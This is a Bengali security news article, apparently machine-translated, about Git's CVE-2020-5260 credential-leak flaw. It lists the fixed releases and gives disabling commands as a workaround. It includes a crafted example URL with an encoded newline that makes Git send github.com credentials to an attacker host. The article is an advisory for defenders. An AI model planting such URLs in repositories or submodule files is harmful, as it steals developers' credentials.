🥇গিট শংসাপত্র ফাঁস দুর্বলতা

প্রকাশিত হয়েছে ডিস্ট্রিবিউটেড সোর্স কন্ট্রোল সিস্টেমের সংশোধনমূলক রিলিজ Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 এবং 2.17.4, in যা নির্মূল করেছে দুর্বলতা (জন্য CVE-2020-5260) হ্যান্ডলারে "credential.helper", যার কারণে একটি গিট ক্লায়েন্ট যখন একটি নতুন লাইন অক্ষর ধারণকারী একটি বিশেষভাবে বিন্যাস করা URL ব্যবহার করে একটি সংগ্রহস্থল অ্যাক্সেস করে তখন শংসাপত্রগুলি ভুল হোস্টে পাঠানো হয়। আক্রমণকারী দ্বারা নিয়ন্ত্রিত একটি সার্ভারে পাঠানোর জন্য অন্য হোস্ট থেকে শংসাপত্রের ব্যবস্থা করার জন্য দুর্বলতা ব্যবহার করা যেতে পারে।

“https://evil.com?%0ahost=github.com/”-এর মতো একটি URL নির্দিষ্ট করার সময়, হোস্ট evil.com-এর সাথে সংযোগ করার সময় শংসাপত্র হ্যান্ডলার github.com-এর জন্য নির্দিষ্ট করা প্রমাণীকরণ পরামিতিগুলি পাস করবে। সাবমডিউলের জন্য ইউআরএল প্রসেসিং সহ "গিট ক্লোন" এর মতো ক্রিয়াকলাপ সম্পাদন করার সময় সমস্যাটি ঘটে (উদাহরণস্বরূপ, "গিট সাবমডিউল আপডেট" রিপোজিটরি থেকে .gitmodules ফাইলে নির্দিষ্ট করা URLগুলিকে স্বয়ংক্রিয়ভাবে প্রক্রিয়া করবে)। দুর্বলতা এমন পরিস্থিতিতে সবচেয়ে বিপজ্জনক যেখানে একজন বিকাশকারী URL না দেখে একটি সংগ্রহস্থল ক্লোন করে, উদাহরণস্বরূপ, সাবমডিউলগুলির সাথে কাজ করার সময়, বা স্বয়ংক্রিয় ক্রিয়া সম্পাদনকারী সিস্টেমগুলিতে, উদাহরণস্বরূপ, প্যাকেজ বিল্ড স্ক্রিপ্টগুলিতে৷

নতুন সংস্করণে দুর্বলতা ব্লক করতে নিষিদ্ধ ক্রেডেনশিয়াল এক্সচেঞ্জ প্রোটোকলের মাধ্যমে প্রেরিত যেকোনো মানগুলিতে একটি নতুন লাইন অক্ষর পাস করা। বিতরণের জন্য, আপনি পৃষ্ঠাগুলিতে প্যাকেজ আপডেটের প্রকাশ ট্র্যাক করতে পারেন ডেবিয়ান, উবুন্টু, RHEL, SUSE/openSUSE, ফেডোরা, খিলান, FreeBSD 'র.

সমস্যাটি ব্লক করার জন্য একটি সমাধান হিসাবে সুপারিশ করা হয় পাবলিক রিপোজিটরিগুলি অ্যাক্সেস করার সময় credential.helper ব্যবহার করবেন না এবং "--recurse-submodules" মোডে আনচেক করা রিপোজিটরিগুলির সাথে "git ক্লোন" ব্যবহার করবেন না। credential.helper হ্যান্ডলারকে সম্পূর্ণরূপে নিষ্ক্রিয় করতে, যা করে সংরক্ষণ এবং থেকে পাসওয়ার্ড পুনরুদ্ধার করা হচ্ছে ক্যাশে, সুরক্ষিত সংগ্রহস্থল বা পাসওয়ার্ড সহ একটি ফাইল, আপনি কমান্ড ব্যবহার করতে পারেন:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

উত্স: opennet.ru

Git শংসাপত্র ফুটো দুর্বলতা

একটি মন্তব্য জুড়ুন উত্তর বাতিল